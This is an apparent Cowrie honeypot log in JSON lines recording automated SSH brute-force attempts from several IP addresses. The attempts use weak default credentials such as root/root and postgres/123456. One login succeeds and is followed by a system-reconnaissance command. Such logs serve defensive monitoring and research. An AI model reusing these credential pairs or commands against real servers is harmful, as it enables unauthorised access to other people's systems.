{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:33.171373Z","src_ip":"160.187.174.22","session":"c73d5bd3e0fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:33.914378Z","src_ip":"160.187.174.22","session":"c73d5bd3e0fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:35.165152Z","src_ip":"160.187.174.22","session":"c73d5bd3e0fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33222,"dst_ip":"10.17.0.5","dst_port":22,"session":"023c49637c08","protocol":"ssh","message":"New connection: 91.92.40.153:33222 (10.17.0.5:22) [session: 023c49637c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:36.383517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:36.443459Z","src_ip":"91.92.40.153","session":"023c49637c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:36.505769Z","src_ip":"91.92.40.153","session":"023c49637c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:36.823351Z","src_ip":"91.92.40.153","session":"023c49637c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:38.077052Z","src_ip":"91.92.40.153","session":"023c49637c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33292,"dst_ip":"10.17.0.5","dst_port":22,"session":"420f12e0ccc1","protocol":"ssh","message":"New connection: 91.92.40.153:33292 (10.17.0.5:22) [session: 420f12e0ccc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:42.116648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:42.311505Z","src_ip":"91.92.40.153","session":"420f12e0ccc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:42.315914Z","src_ip":"91.92.40.153","session":"420f12e0ccc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1234567890","message":"login attempt [deployer/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:43.222028Z","src_ip":"91.92.40.153","session":"420f12e0ccc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:44.313443Z","src_ip":"91.92.40.153","session":"420f12e0ccc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.1678900718689,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:46.002835Z","src_ip":"167.172.116.158","session":"6e7cb3e87435","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":44914,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec964ec628d2","protocol":"ssh","message":"New connection: 91.92.40.153:44914 (10.17.0.5:22) [session: ec964ec628d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:48.214599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:48.273727Z","src_ip":"91.92.40.153","session":"ec964ec628d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:48.358821Z","src_ip":"91.92.40.153","session":"ec964ec628d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:49.180286Z","src_ip":"91.92.40.153","session":"ec964ec628d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:50.466762Z","src_ip":"91.92.40.153","session":"ec964ec628d2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1","message":"login attempt [admin/admin1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:53.637176Z","src_ip":"139.99.74.35","session":"1f6ebe5b8794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":60590,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ec93a2608ed","protocol":"ssh","message":"New connection: 91.92.40.153:60590 (10.17.0.5:22) [session: 8ec93a2608ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:53.754583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:54.026027Z","src_ip":"91.92.40.153","session":"8ec93a2608ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:54.029006Z","src_ip":"91.92.40.153","session":"8ec93a2608ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345678","message":"login attempt [test/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:55.613976Z","src_ip":"91.92.40.153","session":"8ec93a2608ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:57.355780Z","src_ip":"91.92.40.153","session":"8ec93a2608ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":60646,"dst_ip":"10.17.0.5","dst_port":22,"session":"c852ea541955","protocol":"ssh","message":"New connection: 91.92.40.153:60646 (10.17.0.5:22) [session: c852ea541955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:59.519656Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52284,"dst_ip":"159.203.135.109","dst_port":22,"session":"50f68d4249b2","protocol":"ssh","message":"New connection: 160.187.174.22:52284 (159.203.135.109:22) [session: 50f68d4249b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:59.877489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:59.881168Z","src_ip":"160.187.174.22","session":"50f68d4249b2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:59.893002Z","src_ip":"91.92.40.153","session":"c852ea541955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:59.896021Z","src_ip":"91.92.40.153","session":"c852ea541955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":81.17473602294922,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:00.045803Z","src_ip":"167.172.116.158","session":"204d4c934f3e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:00.125688Z","src_ip":"160.187.174.22","session":"50f68d4249b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:01.279537Z","src_ip":"160.187.174.22","session":"50f68d4249b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:02.527003Z","src_ip":"160.187.174.22","session":"50f68d4249b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:02.651171Z","src_ip":"91.92.40.153","session":"c852ea541955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:04.064380Z","src_ip":"91.92.40.153","session":"c852ea541955","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:06.046832Z","src_ip":"139.99.74.35","session":"1f6ebe5b8794","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a && echo \"====\" && cat /etc/os-release","message":"CMD: uname -a && echo \"====\" && cat /etc/os-release","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:06.050117Z","src_ip":"139.99.74.35","session":"1f6ebe5b8794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":57228,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdf7613d1529","protocol":"ssh","message":"New connection: 91.92.40.153:57228 (10.17.0.5:22) [session: fdf7613d1529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:06.793991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:06.807223Z","src_ip":"91.92.40.153","session":"fdf7613d1529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:06.882741Z","src_ip":"91.92.40.153","session":"fdf7613d1529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:07.696696Z","src_ip":"91.92.40.153","session":"fdf7613d1529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:08.915800Z","src_ip":"91.92.40.153","session":"fdf7613d1529","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e6a4d39150f36bcd4091414bb11049e52a05151d771cf9de4a313cdc7f808a75","size":86,"shasum":"e6a4d39150f36bcd4091414bb11049e52a05151d771cf9de4a313cdc7f808a75","duplicate":false,"duration":"6.0","message":"Closing TTY Log: var/lib/cowrie/tty/e6a4d39150f36bcd4091414bb11049e52a05151d771cf9de4a313cdc7f808a75 after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:12.077056Z","src_ip":"139.99.74.35","session":"1f6ebe5b8794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"55.9","message":"Connection lost after 55.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:03:12.081913Z","src_ip":"139.99.74.35","session":"1f6ebe5b8794","protocol":"ssh"}
